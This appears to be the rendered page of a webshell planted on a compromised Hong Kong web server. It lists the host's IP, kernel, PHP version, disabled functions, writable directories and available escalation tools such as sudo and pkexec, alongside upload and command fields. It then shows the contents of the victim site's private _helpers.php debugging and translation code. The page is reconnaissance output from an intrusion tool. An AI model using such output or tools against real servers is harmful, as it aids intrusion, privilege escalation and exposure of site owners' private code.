403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/littleark/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/littleark/webadmin/_helpers.php
<?php


use Illuminate\Database\Capsule\Manager as DB;

function timestamp($length=19){
	return substr(date('Y-m-d H:i:s'), 0 , $length);
}

function vdump(){
	print"<pre>";
	call_user_func_array('var_dump', func_get_args());
	//var_dump($a);
	print"</pre>";
}

function osl($fn = false){
	if (in_array(get_client_ip(), ['223.255.164.254', '::1'])) {
		if($fn===false){
			return true;
		}
		$fn();
	}
	return false;
}

function vdump1(){
	if (in_array(get_client_ip(), ['223.255.164.254', '::1'])) {
		print"<pre>";
		call_user_func_array('var_dump', func_get_args());
		//var_dump($a);
		print"</pre>";
	}
}


function datef($dat, $settings='DT'){
	if(strtoupper($settings)=='DT'){
		$numchar = 19;
	}elseif(strtoupper($settings)=='D'){
		$numchar = 10;
	}else{
		$numchar = $settings;
	}
	//vdump($setting);
	if(substr($dat, 0, 10)=="1900-01-01"){
		return "";
	}
	return substr($dat, 0, $numchar);
}

function print_array($array, $title) {
    echo "<p class='exp_head'>\$$title</p>\n";
    echo "<div class='exp_body'>\n";
    echo "\t<pre>\n";
    print_r($array);
    echo "\t</pre>\n";
    echo "</div>\n";
}

function is_assoc(array $array=array()) {
	if(empty($array)){
		return false;
	}
	return (bool)count(array_filter(array_keys($array), 'is_string'));
}

function dq_bind_array($query, $binding=array()){
	foreach($binding as $v){
		$query = preg_replace('/[?]/', "'{$v}'", $query, 1);
	}
	 return $query;
}

function dq_bind_assoc($query, $binding=array()){
	if (sizeof($binding) > 0) {
		krsort($binding);
		foreach ($binding as $key => $value) {
			$query = str_replace("{$key}", "'{$value}'", $query);
		}
	}
	return $query;
}

function dq($bind=true, $die=false, $return=false, $connection="default"){

	if(!DB::connection($connection)->logging()){
		echo "Please enable Capsule::connection('{$connection}')->enableQueryLog(); in database.php";
		return;
	}

	$results = DB::connection($connection)->getQueryLog();

	if($bind){
		foreach($results as $k => $result){
			if(is_assoc($result['bindings'])){
				$queries[] = dq_bind_assoc($result['query'], $result['bindings']);
			}else{
				$queries[] = dq_bind_array($result['query'], $result['bindings']);
			}
		}
		if($return){
			return $queries;
		}else{
			vdump($queries);
			if($die) exit();
			return;
		}
	}

	if($return){
		return $results;
	}else{
		var_dump($results);
		if($die) exit();
	}
}

function val_in_array($a, $field){
	if(is_array($a)){
		return $a[$field];
	}
}






// system profiling

function lang_read_db($langcode = false){
	global $_profile;
	global $_translations;

	$time_start = microtime(true);
	$this_langcode = $langcode ?: get_langcode();

	$sql        = "select * from `language` where deleted = ?";
	$parameters = array(0);
	$temp     = bind_pdo($sql, $parameters, "selectall");
	// echo bind_pdo($sql, $parameters, "dump");
	// var_dump($temp);
	foreach($temp as $t){
		$_translations[$this_langcode][$t["label"]] = $t["name_" . $this_langcode];
	}
	$_profile[__FUNCTION__] = number_format(microtime(true) - $time_start, 3);
	// var_dump($_translations);
	// exit;
}
// lang_read_db();
//
$_profile['lang'] = 0;

function lang($text, $langcode = false){
// function lang($text, ...$args){
	// vdump(__FUNCTION__);
	global $_profile;
	global $_translations;

	$langcode = $langcode ?: get_langcode();
	// if($langcode=="en"){
	// 	// todo
	// 	return $text;
	// }

	if(empty($_translations[$langcode])){
		// lang_read_json();
		lang_read_db($langcode);
	}

	$time_start = microtime(true);
	$s = false;
	if(array_key_exists($text, $_translations[$langcode])){
		$s = $_translations[$langcode][$text];
	}
	$_profile['lang'] += microtime(true) - $time_start;

	// return $text;
	if($s){
		return $s;
		// return sprintf($s, $args);
	}
	lang_pending_push($text);
	return $text;
	// return sprintf($text, $args);
}

function lang_pending_push($text){
	if(LanguagePending::where('name_en', $text)->count()==0){
		LanguagePending::create(array(
			'name_en' => $text,
		));
	}
}

function lang_pending_to_lang(){
	global $arraylangcode;
	$required_fields = ['name_en', 'name_sc', 'name_idn'];

	foreach(LanguagePending::get() as $languagePending){
		$moveToLanguage = true;
		foreach($required_fields as $required_field){
			if(!$languagePending[$required_field]){
				$moveToLanguage = false;
				break;
			}
		}

		if($moveToLanguage){
			if(Language::where('name_en', $languagePending->name_en)->count()==0){
				//insert
				Language::create([
					'label' => $languagePending->name_en,
					'name_en' => $languagePending->name_en,
					'name_sc' => $languagePending->name_sc,
					'name_tc' => $languagePending->name_tc,
					'name_idn' => $languagePending->name_idn,
				]);
				// vdump($languagePending);
			}else{
				vdump("duplicated: {$languagePending->name_en}");
			}
			$languagePending->delete()->save();
		}
	}
	dq(1);
	exit('==COMPLETED==');
}

function update_ip(){
	global $master_settings;

	vdump( $server_ip = file_get_contents('http://ipecho.net/plain') );

	$ip = MasterSetting::where('attribute', 'IP')->first();
	$ip->val = $server_ip;
	$ip->save();

	dq(1,1);
}



// // Create two timezone objects, one for Taipei (Taiwan) and one for
// // Tokyo (Japan)
// $dateTimeZoneTaipei = new DateTimeZone("Asia/Hong_Kong");
// $dateTimeZoneJapan = new DateTimeZone("Asia/Hong_Kong");

// // Create two DateTime objects that will contain the same Unix timestamp, but
// // have different timezones attached to them.
// $dateTimeTaipei = new DateTime("now", $dateTimeZoneTaipei);
// $dateTimeJapan = new DateTime("now", $dateTimeZoneJapan);

// vdump($dateTimeTaipei->getOffset($dateTimeZoneTaipei));

// // Calculate the GMT offset for the date/time contained in the $dateTimeTaipei
// // object, but using the timezone rules as defined for Tokyo
// // ($dateTimeZoneJapan).
// $timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);

// // Should show int(32400) (for dates after Sat Sep 8 01:00:00 1951 JST).
// var_dump($timeOffset/60/60);


// exit;




Youez - 2016 - github.com/yon3zu
LinuXploit